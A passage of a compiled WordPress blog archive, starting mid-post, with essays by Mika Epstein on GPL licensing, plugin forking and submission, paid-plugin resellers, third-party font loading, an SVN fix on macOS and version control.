If it helps to think of software in a different way, pretend you have two versions of server software, Server 2.0 and Server 3.0. You can use the files from Server 2.0 on the box with Server 3.0, but you can’t use Server 2.0 files on Server 3.0. They’re not backwards compatible. That’s the first problem with GPLv3, we’d have to make sure every single bit of code in WordPress is *able* to be moved to GPLv3.
This is clarified in the GPLv3 FAQ: ([GPLv3 FAQ Update – Converting GPLv2 to GPLv3](http://gplv3.fsf.org/wiki/index.php/FAQ_Update#I_have_a_copy_of_a_program_that_is_currently_licensed_as_.22GPLv2.2C_or_.28at_your_option.29_any_later_version..22__Can_I_combine_this_work_with_code_released_under_a_license_that.27s_only_compatible_with_GPLv3.2C_such_as_ASL_2.0.3F))
> **I have a copy of a program that is currently licensed as “GPLv2, or (at your option) any later version.” Can I combine this work with code released under a license that’s only compatible with GPLv3, such as ASL 2.0?**
> Once GPLv3 has been released, you may do this. When multiple licenses are available to you like this, you can choose which one you use. In this case, you would choose GPLv3.
>
> If you do this, you may also want to update the license notices. You have a number of options:
>
> - You may leave them as they are, so the work is still licensed under “GPLv2, or (at your option) any later version.” If you do, people who receive the work from you may remove the combination with parts that are only compatible with GPLv3, and use the resulting work under GPLv2 again. If you do this, we suggest you include copies of both versions of the GPL. Then, in a file like COPYING, explain that the software is available under “GPLv2, or (at your option) any later version,” and provide references to both the included versions. If you have any additional restrictions, per section 7 of GPLv3, you should list those there as well.
>
> - You may update them to say “GPLv3, or (at your option) any later version.” At this point, any versions of the work based on yours can only be licensed under GPLv3 or later versions. Include a copy of GPLv3 with the software.
>
> - You may also update them to say “GPLv3” only, with no upgrade option, but we recommend against this. Include a copy of GPLv3 with the software.
That doesn’t sound terrible, does it? You can go from GPLv3 to GPLv2, so long as you remove all the GPLv3-and-up code. Backwards compatibility is complicated, and forward isn’t much better. The second problem is the bigger one. From the GPLv3 FAQ: ([GPLv3 FAQ Update – permission to change release](http://gplv3.fsf.org/wiki/index.php/FAQ_Update#Consider_this_situation:_1._X_releases_V1_of_a_project_under_the_GPL._2._Y_contributes_to_the_development_of_V2_with_changes_and_new_code_based_on_V1._3._X_wants_to_convert_V2_to_a_non-GPL_license._Does_X_need_Y.27s_permission.3F))
> **Consider this situation: 1. X releases V1 of a project under the GPL. 2. Y contributes to the development of V2 with changes and new code based on V1. 3. X wants to convert V2 to a non-GPL license. Does X need Y’s permission?**
> Yes. Y was required to release its version under the GNU GPL, as a consequence of basing it on X’s version V1. nothing required Y to agree to any other license for its code. Therefore, X must get Y’s permission before releasing that code under another license.
And why would WordPress want to switch to GPLv3 anyway? Other than having more licenses compatible with GPLv3 than GPLv2, the other main differences didn’t strike me as anything WordPress needs. You can read [ifrOSS’s document](http://www.ifross.org/en/what-difference-between-gplv2-and-gplv3) and come up with your own opinion, of course. Basically in order to get WordPress moved to GPLv3, every single person who ever submitted code to WordPress has to be contacted and sign off on the change. Now, unless a clever lawyer type can argue that the act of submitted code to core reliquieshes your ‘ownership’ thereof, and the code becomes community
 code maintained and manged by WordPress, *and* as such WordPress does not need to gain consent from all contributors, then *maybe* this can be done. But that’s a long, mess, legal conversation.
Finally, the real question is who are we protecting here? [Remember, GPL is not about the *developer* but the *user.*](https://halfelf.org/2011/software-freedoms/ "Software Freedoms") The extra ‘freedoms’ that come in GPLv3 don’t really strike me as being about the user, and that worries me a little. Patent protection, permitting code to be kept from the end user, and tivoization are all great things for a developer who puts out the code, but as the person who wants to adapt it later, that sure feels pretty restrictive to me.
Will I use GPLv3 ever? Sure. But not in my WordPress code.
**Categories:** How It Is
**Tags:** coding, copyright, essay, license
---
### [Fork With Restraint](https://halfelf.org/2012/fork-with-restraint/)
**Published:** April 9, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** While the GPL allows you to fork plugins, you should think long and hard if there's a reason you need to do this.
**Content:**
I love that the GPL lets you fork. In fact, two of my plugins are forks and one’s an adoption. I think that’s one of the best things about GPL, [the freedom to adapt and move on](https://halfelf.org/2011/the-legality-of-forking/). But every single time you fork a plugin, you cause a couple problems that many people are either ignorant of or just don’t care about.
**Confusion**
If you look up ‘WP Grins’ there are three plugins. ‘WP Grins’ is the original, ‘WP Grins Lite’ is the first fork, and ‘WP Grins SSL’ is the third. Each one is pretty explanatory. The plugins are similar, but you get the idea from the title what’s different. And in each case, each forker took the time to say ‘this is what’s different’ in obvious ways, and to credit those who came before. This is important because, based on name alone, there’s not a whole lot to differentiate the plugins.
Multiple ‘things’ with the same name is confusing. That’s really very obvious isn’t it? That’s why companies spend hours and months fighting to protect their trademarked names. The name of a ‘thing’ is important, and the difference between the names is the crux of everything. In a predominantly text world, your name is everything.
**Bad Feelings**
This is where it gets weird. As you all know, I’m a huge supporter of forking. [But sometimes when you fork, you’re a dick](https://halfelf.org/2011/morality-of-forking/). There are a lot of weird things to consider when you fork, and for me, the first one is ‘Is the plugin I’m forking something you pay for?’ Generally speaking, if I’m even *considering* forking a for-pay plugin, I’ll try to start up a dialogue with the developers first, because I know that these people are trying to make a living, and I’m a dick if I take that away from them. Yes, GPL says I *can* do it anyway, but there’s the law and then there’s the *community*.
A lot of the time we tout the ‘spirt’ of GPL and I really hate that. We’re actually touting the cohesiveness of the community. That we know plugins are often free, but pay for support, or behind a pay wall, or a million other things. But. If you take away someone’s ability to make a living, **you are a raging dick**.
Strong words, but ones I firmly believe in. It’s no secret I’m not fond of the IncSub folks and their behind-a-paywall/yearly fee for plugins. My issue isn’t their code, however, or their prices, but their attitude. And while I don’t like them, I will support till my dying day their right to do it. And if someone logs in to their site, gets an account, downloads everything and then puts it up on their own site, well, I’ll support IncSub in kicking them while they’re down, because it’s just not nice.([This actually happened in November 2011.](http://wordpress.org/support/topic/where-to-turn-too?replies=5))
As Jane Wells put it:
> The GPL does allow for redistribution of GPL code. You can even charge for it if you like. However, here at WordPress.org that sort of behavior is not encouraged or supported in our repo. If you redistribute, we expect to see modifications not available in the original. We show respect for the authors of GPL code by only promoting redistributions that are useful as new contributions through helpful modifications.
Which is why, when I forked the plugins I did, I made clear changes. Works on SSL now! Works on Multisite! And none were pay-for.
But what does ‘being nice’ have to do with this?
**It Pays to Be Nice**
WordPress’s strength is their community. It’s the people who dream and invent, and the GPL has given those people tremendous amounts of freedom to be creative and expressive. Where WordPress runs into problem is personality conflicts and clashes (even the smartest people can be assholes). And where you will see the most of those conflicts and clashes is when it comes to GPL and who has the ‘right’ to do whatever. (Second only to GPL is SEO.) Once you incur the ire of a community, your ‘cred’ drops amazingly. That’s why so many of us are accused of ‘drinking the Kool-Aid’ when we tout the GPL party line.
A quote in my comment ‘guidelines’ is from Lord Buckley, “If you know what to do and you don’t do it, there you bloody well are, aren’t you?” We all know the right things to do are to be good people. To respect each other and treat our fellow man with kindness. I don’t care what religion you are, or even if you worship the FSM. The only way we all get through this thing called life is to be decent people. Taking away someone’s source of income is rarely nice, and when you do it and say ‘I did this because it’s GPL and I can!’ then you’ve done it for the wrong reasons. Just because you can do something doesn’t mean you should. We all learned that as children, that just because I can throw a rock at Timmy’s head doesn’t mean I should.
**Theft**
When we get to college, many of us experiment, for the first time, with being able to walk away from things we don’t want to do, even though we should (like your classes). And many times, these young adult challenges, where we do the wrong thing, come with no serious repercussions, and we determine that it’s okay to break some rules. This curious attitude follows us into adult life. It’s okay to steal cable/music/movies because the companies that provide them make a lot of money, and the artist never sees it anyway, so we’re not hurting the people who really matter.
Taking someone’s product that is for sale, making a change and giving it away, is perfectly acceptable in the GPL. But that doesn’t make it right. That makes it legalized theft, and it will hurt your standing in the community. And that’s what people mean by the ‘spirit’ of GPL. You and me and everyone else who writes code or contributes are the *spirit* of GPL. And when you hurt one of us, you hurt us all.
Go ahead and fork plugins, it’s what makes WordPress, and any GPL product great. But when you fork, do it for the right reasons, and remember that the developer you’re forking from is a person too.
Treat them how you’d like to be treated.
**Categories:** How It Is
**Tags:** coding, copyright, essay, freedom, license, open source
---
### [How To Submit a WordPress Plugin](https://halfelf.org/2012/submitting-wp-plugins/)
**Published:** May 7, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A non-technical how to get your plugin in the WordPress repository.
**Content:**
I’m not a super-psycho coder. But between being a busybody and being a volunteer plugin referee, I do spend a disproportionate amount of time looking at the code people put in for plugins, which means I actually see a lot more code, and a lot more submissions, than you might expect. This puts me in a place where I actually can offer some of the world’s most basic advice ever, that a surprising number of people seem to miss, about how to submit your plugins, what will get them downcheked, and what you really just shouldn’t do.
This list is not all encompassing, but touches on the issues I see the most often.
## What You *Must* Do
Failing to do the following will likely end up in your plugin being yanked (or not approved at all).
### Read The Guidelines
We are not pirates. These are not wishy-washy rules, though they are intentionally kept as light as possible. You see, the more you make a rule “You can’t do this!” then the more you get “Well, you said I couldn’t dig to China, not Australia!”(That’s a true story on my part. I once got my kindergarten school class to dig to China. After being told not to, I got them to dig to Australia. At this point, they said ‘No digging tunnels at school.’ My parents explained in more detail why this was dangerous, and we watched *The Great Escape* to understand tunnel collapse. I forget how Dad explained the distance, but I remember a long explanation about the earth’s core being molten, and no, you can’t dig under the ocean. I was bummed. I was also 4.) The basic guidelines are on the front page of the [Developer Center](http://wordpress.org/extend/plugins/about/), but it’s the [expanded guidelines](http://wordpress.org/extend/plugins/about/guidelines/) you really need to read. I helped write those guidelines (over beery emails with Otto) and he and I both hate that we have to spell certain things out, but apparently they’re unclear. Just read them. If you think you’re doing something that might be on the far side of okay, ask around. Tweet, post in the forums, or find a plugin dev you respect and ask them directly.
### Check Licences
All plugins must be GPL2 (or later) compatible. This is pretty basic, but a lot of people don’t realize what that means. First, there’s the issue of [GPL2 versus GPL3](https://halfelf.org/2012/gpl-oh-dear-god/). While the WordPress repository accepts GPL3 plugins, it’s still not compatible with everything, so make sure the code you fold into the plugin will work with which ever license you chose. If you don’t want to use GPL, you don’t have to! Remember, there are a lot of [GPL Compatible Licences](http://www.gnu.org/licenses/license-list.html#GPLCompatibleLicenses). At the same time, there are a lot of [incompatible licences](http://www.gnu.org/licenses/license-list.html#GPLIncompatibleLicenses) as well. And there are the [Non-free Software licenses](http://www.gnu.org/licenses/license-list.html#NonFreeSoftwareLicenses). When you’re only releasing your own code, this is pretty easy. You pick a compatible license and move on. When you’re incorporating other people’s code, however you have to study their license carefully.
Generally I’ve seen people get dinged for using the Creative Commons license, and in most cases this is because they’re not using the [CC0 license](http://www.gnu.org/licenses/license-list.html#CC0). That is the *only* CC license that really works with GPL (except for CC BY ND). Your code really shouldn’t be CC licensed, anyway, though. Just don’t use it.
### Provide the code
When you submit your plugin, put in a link to the code so it can be downloaded and checked. (See [Expanded Guidelines, Rule #16](http://wordpress.org/extend/plugins/about/guidelines/)) If, for some reason, you can’t because the code is behind a paywall, or you don’t want it in the wild, don’t worry! The only people who see that link are the plugin review team, and they’re trustworthy. They don’t need an API key, either, they just want to make sure you’re not breaking the repo guidelines. If you don’t provide a link to the code, you don’t get in. It’s really that simple.
### Don’t break the other WP rules
Did you know you can’t use ‘wordpress’ in your domain name without permission? If your author or plugin URL is http://mycoolwordpressplugins.com then your plugin will be rejected. (See [Expanded Guidelines, Rule #17](http://wordpress.org/extend/plugins/about/guidelines/)) In addition, you’re still going to be held subject to the forum rules with your account. I mention this because if you get blocked on the forums for rampant asshattery, you won’t be able to check new code in. Basically remember that it’s the internet, and we can see your behavior on Twitter, Forums, Faceybooky, etc. Don’t be an idiot.
## What You *Should* Do
Not doing the following won’t get you punted from the repo, but they’re still good to do, in order to provide the best support possible.
### Write a good readme
A good readme file is going to tell the person everything they need to know before they download the plugin. This means:
1. Describe what the plugin does
2. Explicitly state any and all requirements
3. Be upfront about any external accounts required (for APIs or what have you)
4. Inform users if their information is being sent to another site, where, and why (not necessarily technical explanations, just ‘Your IP, browser specs, etc will be sent to Google for Analytics purposes. This is required if you want to use Google Analytics.’)
5. Include screenshots of the options
6. Include a screenshot of what the plugin looks like on the unmodified default theme
7. Document if no support is provided (or if support is handled somewhere other than the WordPress forums)
#### Credit Appropriately
A subset of that is that if your plugin is a fork of someone else’s, be the good person and credit them! It’s not required all the time, but take a look at the copyright information on a plugin. Sometimes they say they require credit in the code. If so, you’ve got to do it. Even just a line that says “Copyright 2009-2011 Some Other Dude” and then “Copyright 2011 Me” below it. That’s a nice CYA. If you want to be really nice, put their userID under ‘contributors’ in the readme file, and they’ll have their pretty face on your plugin.
### Write Good Code
Using good code is complicated. I don’t pretend to be the best at it myself (seriously, the level of shenanigans I went through over nonces cannot be measured on a human scale). But I know that good code is secure code. I know I should use [nonces](http://codex.wordpress.org/WordPress_Nonces) in certain situations, I know to [protect against SQL injections](http://codex.wordpress.org/Class_Reference/wpdb#Protect_Queries_Against_SQL_Injection_Attacks), and I know to not let total strangers upload executable files (so they can’t upload a PHP file that wipes my DB, for example). And I know when to go find Otto, WePay him a beer, and say “So what the hell did I do wrong, here?”
Writing good code is exceptionally complicated, which is why, if you’re going to write a large plugin, you need to know what you’re getting into. The problem a lot of people get into is the classic ‘Your eyes are bigger than your stomach.’ When you write a plugin, keep it simple. Start with the code you know, slowly fold in the new stuff. Try to test as many different ways as you can think of, but know that you’re going to miss something.
## What To Do If Your Plugin Is Yanked?
Every plugin developer’s worst nightmare is waking up to find that their plugin was yanked from the WordPress repository.
Don’t panic!
 This happens when your plugin has been reported as possibly being in conflict with the developer guidelines, or it has a security hole. Many times you will *not* be notified when this happens. Sometimes you’re not notified because the report is found to be incorrect, and sometimes it’s because you’ve been warned before. And, once in a while, it’s because the person who closed your plugin doesn’t have the ability to email you. Surprise! There are some people on the plugin repository team who don’t have the access to the plugins email system, so when they close your plugin, they’ll ask someone else to email you. If that person is busy, it might take a while.
When a plugin is closed, the rest of your plugins are usually checked over to make sure they’re not also having an issue. For example, if you have one plugin with a front facing link that’s turned on by default, all your plugins will be checked for that and, if they all have the same problem, they will *all* be yanked. This is why you need to keep up to date on the plugin guidelines, and follow the [WordPress Development Blog](http://wpdevel.wordpress.com/).
As soon as you find out your plugin is closed, email plugins@wordpress.org and ask what you can do to restore it. Posting in the forums won’t help much.
**Categories:** How To
**Tags:** copyright, design, essay, license, open source, wordpress
---
### [The Responsibility of Freedom](https://halfelf.org/2014/the-responsibility-of-freedom/)
**Published:** March 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** With great freedom comes some very odd responsibilities when it comes to reselling products.
**Content:**
I’m sure you know there are clubs out there that re-sell WordPress products at a far lower cost than their original source. This post is not about that being right or wrong via the GPL, nor is it about the morality.
This post is about *responsibility*.
In my home office hangs a poster “Flynn Lives” which I have to constantly remind me “I fight for the users.” It’s a nerd level joke most of my fellow developers and support gurus get, but many people I help would not understand the point. My job, as a WordPress Support Guru, is to help people. This is simple, straightforward, and obvious.
My other job, though, is to make their lives easier and better. It’s my responsibility, when I write code, to make it do something to make someone’s life easier. Even if the only person it helps is me, the point is that someone is being helped. If it’s just me, it’s really easy to support myself. “Hey, Ipstenu, you know this broke?” “Yeah, added to my list!” But when it’s someone else, how does that change?
I firmly believe there’s an expectation of support with all plugins and themes hosted in the WordPress.org repository. Period. That means, yes, I have code I don’t put up there because I don’t care to support it. But I know that expectation puts responsibility on me as more than just “Someone who writes code.” I can’t just write code, drop it into the world, and never support it.
“But Ipstenu,” I hear you say. “Isn’t that what WordPress.org does? It just dumps WP into the world. I never see the devs in the forums!”
You’re not WordPress.org. You’re not that big, that complex, and that intricate. Unless you’re BuddyPress-levels of plugins, and you’ll notice they have support forums. Instead of directly supporting WP, the core devs of WordPress who are dedicated to WordPress have people like me, who traipse about the forums and help. And when I see broken things, I either take it to trac or help the person who found it do so. My determining line is “Can I fix it? Okay, I’ll trac it and patch it.” If I can’t, I help them. Low hanging fruit.
The point here is that all this wonderful software came with a responsibility to make it great and help people. What does this have to do with sites like those Justice League Clubs that offer cheap/free versions of pay-wall’d software? They’re not helping you.
Oh, in the short term they’re helping you by giving you something for free. They’re getting you further in your site development than ever before. However that help ends at the provisioning level, because you aren’t paying for support from these resellers, you’re paying for product. That’s okay, so long as you know what you’re paying for, and a lot of people don’t. If people did know what they were paying for, they wouldn’t use nulled themes with base64 backdoors in them.
The ethics and morals of reselling someone else’s work aren’t at play here. Yours are yours, mine are mine, and that’s just fine. What is at play is what are we paying for, what are we providing, and what are we devaluing when we resell someone else’s product?
Devaluing is the easier one. People sell products at cost in order to make money. It’s simple. I work for a company that sells space on a computer and world wide availability from anyone to that space. We sell it at a price that allows us to make money, but also that allows us to hire amazing people like me who work on WordPress, write some of the code, test it, and otherwise spend all this time on WordPress, *just because* it’s software you use!
The value of the product is, again, not just in the product, but in the service. And the service is more than just access and accessibility, but also in the support you get. No matter what people think, we aren’t just rolling around in money and laughing at you. We reinvest that money in ourselves, our hardware, the software (some of which we give to you). But what we *always* do is support that. Sometimes the support isn’t what you want to hear, but we do our best to solve problems, or explain why we can’t.
So what are you paying for? Support! In the end, you’re pretty much always paying for support. You buy Microsoft Office and you don’t get the kind of support you get with WordPress, but you pay a lot more money. Where’s the support? When Word crashes, it sends (or asks you if it can send) a report back. That report gets noticed and acted on so that if it’s solvable, it’s solved. The next upgrade you get has a patch, and that crash doesn’t happen again. That’s support!
You can also get [actual support](https://office.microsoft.com/en-us/support/) from Microsoft (though I know of no one who’s done so). They have people who write fantastic help docs and who monitor their forums and twitter. If you took Word (let’s pretend that was legal) and resold it, would you have all that?
But that’s a quite extreme example. WordPress plugins are significantly smaller in scale than MS Office. So why is Office (and Adobe Photoshop etc) so expensive if they don’t give you half the help that the free WordPress product does? There are a lot of reasons. Patents and copyright are expensive, and frankly we’re all willing to pay for it. When Apple dropped the price of the new OS down from hundreds to $25, we were all suspicious. When it became free, we flipped out.
But Apple wisely noted that making us pay that much money wasn’t helping them as much as it might. Free gives you a certain brand loyalty because we get to try before we buy. And we *will* buy those apps and those app add-ons (though I don’t fully approve of games that force you to pay to play all the time). We buy them because after we get the base product for free, we see the real value in the cost of the other products and we’ll pay for them willingly. Apple takes responsibility for their free software in interesting ways. We have to pay for assistance (most of us via the Genius Bar). And in the WordPress ecosystem, that too is what you pay for. The help.
So back to this whole “I’ll take your paid software and give it away” thing.
What are we paying for? I’ve heard tell that ‘Paying for support’ is a rip off. So is paying for documentation. I can see why some people balk at paying $25 a year for ‘support’ they may not ever need, and I’ve seen some companies work by letting you pay per-ticket. Though that makes people feel like you’re nickel-and-diming them, and I do agree it can come across that way. And yet that support which they so casually toss aside like an old shoe is where these free-software-clubs fall down.
There is one club that says they will support all the plugins they re-host. Many of us are suspect at the possibility of that actually working well, though given the odds of how small their sales will be to start with, it may end up sustainable. The problem is that they’re not going to be patching upstream. They’ll fix your issue, and then when the real source pushes the next version, they get to reapply their patches. Strikes me as a lot of work.
Is the payment system for some WordPress plugins and themes broken? I don’t think so. I think it’s not optimal for the user nor for the developers just yet, but monetizing these things is still relatively young. There will be mistakes and bad choices along the way. Finding the balance between the freedom of the GPL and the desire to make a living is difficult.
The ultimate responsibility we have with WordPress is to give back. We give back with support and with improving things for everyone. If we’re just doing things for ourselves, after all, we don’t share them. Are these clubs failing in those responsibilities? Not yet. But all eyes will be on them if they do.
**Categories:** How It Is
**Tags:** coding, copyright, essay, license, open source, wordpress
---
### [It's Not GPL and That's Okay](https://halfelf.org/2014/its-not-gpl-and-thats-okay/)
**Published:** October 13, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The patchwork elephant of websites means that there isn't one answer for everything.
**Content:**
I’m probably starting a wildstorm here, but I want to put this out there. I don’t always use 100% GPL products on my sites, and that’s okay.
Please put down your pitchforks!
I am a happy Open Source person. If you give me a choice between two equally good products, one being Open Source and the other not, I’ll pick Open Source any day of the week. But. There’s a reason I use Apple Pages and not Open Office. Pages *works* for me. It fits my workflow, it fits my brain, and it makes me write more easily. Since I’m often sprawled on the couch writing with my thumbs on my iPad Mini, it makes perfect sense to use Pages and iCloud.
But there’s another place I don’t worry too much about GPL or Open Source, and that’s when I’m coding something that is only ever going to be for me.
I was working on a new site and we were looking for icons to properly represent how we felt. We needed a toaster. We didn’t have one in Font Awesome or Genericons, so I pulled up [Symbolicons](http://symbolicons.com/)! The catch? It’s not GPL. But the thing was, we knew we’d never be distributing these icons. It was for one website, so why did it matter?
And the fact is that for this use case, it did not matter at all!
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/file2021235840650.jpg)
Understanding what I’m doing, who it’s for, and where it’s going to be used is highly important. And understanding what I want to support and maintain is equally important. For the most part, open source doesn’t come with Apple Care or companies like OWC who specialize in bailing people out or helping them extend things. WordPress doesn’t come with that, for good or not, it’s really a ‘figure it out as you go’ sort of product.
There are use cases to consider. Who’s going to use the computer? What do they know? Is it worth teaching them Linux or can they keep using their Mac? Much like I do when I’m mentoring someone, I don’t try to push my ideals on someone, or assume my way and my solution is the only solution. When I look at GPL, yes, it’s my default. I always start there. But I don’t stop there and I don’t let it blind me to what things need to be, because the best solution may not be open source, it may not be GPL, and it may not be WordPress.
So long as you’re not violating a license, use what suits your needs. But do pay attention to those licenses.
**Categories:** How It Is
**Tags:** administration, copyright, essay, freedom, license
---
### [Great Walls of Fire](https://halfelf.org/2014/great-walls-of-fire/)
**Published:** March 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When speed causes a slowdown, you may be offloading your site into inaccessibility.
**Content:**
If your website is ‘international’, you’ve probably already run into this. If you’ve ever worked for cooperate America, you’ve seen this happen. If you’re on an out of date browser, you’ve definitely seen it.
It’s that horrible day when your site looks like absolute crap because something critical to your site isn’t loading because it cannot be accessed from where you are.
Let’s step back.

Using Google’s Open Sans doesn’t work in China because Google is, generally speaking, blocked in China. What does this mean for people there? Well their WordPress dashboard is going to load slowly, in fact for many it’s so slow as to be unusable. This is because WP 3.8 uses Google fonts on the back-end. Now, you can disable it with the [Disable Google Fonts](http://wordpress.org/plugins/disable-google-fonts/) plugin, but many people feel that’s a poor user experience.
I want to take a moment to note that while I, personally, dislike using Google for required fonts on WordPress, there was a discussion on bundling vs linking that took place in November 2013. At that time, everyone agreed bundling (that is including the fonts with WP) would be best, however *how* to do that was more complicated. In order to provide a good experience for all users and all languages, it got messy and large really fast. You can read up on the history on make/core: [Open Sans, bundling vs. linking](https://make.wordpress.org/core/2013/11/11/open-sans-bundling-vs-linking/).
That being said, by remotely calling Google, there are two main issues: privacy (which I’m not getting into) and accessibility (that’s what I want to poke at).
We know that calling Google remotely, for everyone in a country with good internet speeds, is great as it speeds up your site! That’s the premise behind [Use Google Libraries](http://wordpress.org/plugins/use-google-libraries/) after all. If someone’s already downloaded the files in their cache for JS (or fonts), then the next site they visit will load faster if it uses the same ones! It’s a sound, and accurate, theory.
But are you making your site inaccessible with your need for speed?
What happens when someone *can’t* load Google? In the case of the Use Google Libraries plugin, it falls back to using WP’s standard, which is good, but that initially connection has to fail first! The same happens for WordPress’s back end, which means the time it takes to load your site is *longer* for those users.
I tell this to people a lot, and generally they reply “Well I don’t have users in China.” or “This doesn’t affect my visitors.” Really? *REALLY?* Sorry, but that is one of the most shortsighted views I’ve ever heard in the history of ever, and one I tell people “Yeah, that’s an incorrect and rather arrogant conceit.”

Let me tell you a story. I went to Japan for 12 days to hike O’Henro with my Buddhist brother and our agnostic father. We made the “A Jew, a Buddhist, and an Agnostic walk into a temple…” jokes. While there, I checked in on my websites and on my regular sites I visited, only to find out that some were blocked because we were using a net connection that went through a country those sites blocked. Why? Because “no one” who would ever visit their site was from there.
I no longer use those services, I no longer support those sites. My father goes to China regularly (he does risk assessment on the disused weapons caches in China). I turn off Google Fonts on his website in order that he, and his customers, can see the site as intended. You can tell me all you want that ‘no one’ visits from those places, and you’re just wrong, and arrogant, and yes, I strongly disagree with WordPress having made Open Sans via Google a requirement like that.
My personal dislike of Google aside, it’s a reality I look at more than I wish I had to that people and places *block* third parties. This is why I get on the case of plugin developers who use third-party services when they don’t have to. They’ve created an unnecessary dependency on this other service, which will crazy to debug when someone says their code doesn’t work.
Your code should be as self-sufficient as humanly possible. Offloading for ‘speed’ doesn’t work for all situations, and instead can make things slower by causing more external resources to load. Have you ever looked at those scan reports where they say your site calls too many sites for JS or CSS? This is what you’re doing. Even though it increases the odds that people who can get to these sources will already have the files cached, people who can never access them have a worse time. And then loading them locally will make your site heavier and load slower, unless you use proxy-caching (like Pagespeed or Varnish).
It’s not a perfect solution for everyone. This is why websites are hard.
**Categories:** How It Is
**Tags:** accessibility, google, wordpress
---
### [Mountain Lion and SVN](https://halfelf.org/2012/mountain-lion-and-svn/)
**Published:** July 27, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Real fast, if you're having SVN problems with Mountain Lion, and have an 'old' version of SVN, read this.
**Content:**
Caveat: You need [root access](http://support.apple.com/kb/ht1528) on your Mac to do this!
Ages and ages ago, when I first was using MAMP and all that fun stuff, Apple didn’t include a version of SVN. I had installed, and promptly forgotten about, my 1.4.4 install sitting out there. Now, I know I upgraded it to 1.6.something at some point, but I only found out that was wiped out when I went to svn up some code on my site and it all died. My version of SVN was too old.
`svn --version` was coming back as 1.4.4 and I knew that was wrong. I complained on Twitter, and Eric Hitter pointed out that Xcode has SVN (and Git) so I went and installed that. It didn’t work, I was still stuck on 1.4.4.
After checking that, indeed, svn was located at `/Applications/Xcode.app/Contents/Developer/usr/bin/svn`, and that ran the right version, I deleted 1.4.4 manually by removing the following folders:
```
/opt/subversion
/usr/local/bin/svn*
/Library/Receipts/Subversion*
```
Then I made a fast alias `ln -s /Applications/Xcode.app/Contents/Developer/usr/bin/svn svn` over in `/usr/local/bin/` to redirect my scripts, and finally I followed the directions from [Panic](https://panic.com/coda/support.html) to fix Coda, and changed the Subversion tool path setting in the Files pane of Coda’s Preferences to `/Applications/Xcode.app/Contents/Developer/usr/bin/svn`. I also changed git to `/Applications/Xcode.app/Contents/Developer/usr/bin/git` and made a fast link for that too, since I can.
Have a happy weekend!
**Categories:** How To
**Tags:** coding, macintosh, svn
---
### [Capital H Dangit](https://halfelf.org/2012/capital-h-dangit/)
**Published:** August 16, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stealing capital P to save myself a little embarrassment.
**Content:**
My new gig at DreamHost comes with a minor ‘d’oh!’ and that is it’s a capital H. Which I seem to be incapable of remembering. So I wrote a function. I stole capital\_P\_dangit() and swapped the WordPress for DreamHost. To save myself from embarrassment, here it is:
Now. Here’s where it gets fun. No ‘hacks’ posts will be affected by this code! Otherwise how would I show it to you here? Normally this is where you would just run `remove_filter( 'the_content', 'capital_H_dangit', 11 );` in the functions file for your theme. Due to the way I’ve wrapped my various functions into mu-plugins, the down and dirty way was to wrap the above block of code with a check for `if ( $blog_id != 2 ) { { ... }`.
Most of the time you won’t care about things like this. I just needed it so I could demonstrate code. I’ve done the normal filter remove here so I can also say ‘Wordpress’ in my code related posts. For proof this works, I assure you, 100%, that [I typed in ‘Dreamhost’ over in my post about quitting my job and going to work for them](https://ipstenu.org/2012/wp-quit-bank/).
Sorry about that, Simon!
**Categories:** How To
**Tags:** coding, function, wordpress
---
### [Version Control](https://halfelf.org/2013/version-control/)
**Published:** January 8, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using version control correctly isn't that hard, but when you do it wrong, it's painful for everyone.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/mind_control_4.jpeg)I’ve noticed a lot of people don’t really ‘get’ what version control is, or how it works. This is most evident when you watch the WP plugin repository.
Around 400 commits are made daily to the repository, which doesn’t seem like a lot until you compare it to [core trac commits](http://core.trac.wordpress.org/timeline). Now WordPress Core never commits until they’re sure the version in trunk is functional (since many of us use trunk on live sites), something most devs don’t have to worry about unless they use trunk as ‘live’… Let’s not talk about that.
Instead of going into code today, I’m going to explain a little theory and talk about what version control is, why you want to use it, and *how* to use it.
If you’ve ever saved a document, had MS Word crash, and come back to be asked what version of the document you want to restore, then you actually already have an idea of what version control is. You’ve possibly just never had to do it yourself. Version control is a very simple concept: saving versions of a file so you can go back to the older ones. Sounds easy right? Yes and no. Most people are accustomed to a different way of saving.
Traditionally, we’re taught about saving as something you do regularly and often. After all, we’ve all lost that crucial document by forgetting to save. Apple has been changing this on us, having a much more robust auto-save process, and a better restore. It coaxes you into a place where you don’t think about saving anymore. There’s no save button on my iPad, and I actually use it to write a lot of the time. That freaks me out still, but so far it’s worked really well.
In contrast, I have my coding. I sit and write, save a lot, test a lot, and when I’ve got a change that works, I commit my code. You see, version control is like a second type of saving. One save is me working, and one save is me ready for someone else to test. But the best thing about version control is *how* it saves changes. You check in code, and SVN (or Git), and the server checks the changes and records what changed in a way that is easy to read. Here’s an example picked at random from the hundreds I skimmed today:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/thediff.png)KatePhiz’s checkin of changed codeSee how beautiful that is? Right away you can see what changed between versions! You, and anyone else who wants to troll a revision log, can see what you changed, which makes it easier for people to write a change log for you (if you happen to work that way).
Where I see the most people making mistakes with version control is missing out on the two rules you need to adhere to, if you want to use them effectively.
1. Never Delete Files
2. Trust The Tool
That’s it. That’s all you have to do. I see a lot of people correct files by deleting them and uploading new versions. This is flat out doing it wrong, but I can see why people think it’s what they should do. You have to trust your tool, and know that it will see the new file, tell the differences and record that. If you delete a file, it stops you from being able to compare it to earlier versions and that’s a problem. Bug tracking becomes much harder, as you no longer have a quick and easy way to see what changed. Sure you can compare two files, but you’ve now put up a barrier for the next guy who picks up your code. What if she *doesn’t* have that previous version? What if she has no way to get to it, and you were hit by a bus and are in a coma? Or not. But still, building barriers between yourself and the next person is lacking foresight. Worse, you build barriers for yourself.
